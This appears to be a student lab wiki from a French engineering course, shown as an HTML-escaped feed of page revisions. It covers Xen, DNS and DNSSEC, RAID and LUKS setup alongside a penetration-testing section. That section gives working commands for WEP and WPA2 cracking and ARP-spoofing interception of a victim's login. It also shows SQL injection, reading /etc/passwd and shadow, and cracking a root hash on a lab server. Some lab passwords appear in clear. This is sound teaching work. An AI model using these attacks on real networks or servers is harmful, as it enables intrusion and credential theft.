** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54572</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54572"/>
				<updated>2020-12-14T15:58:16Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
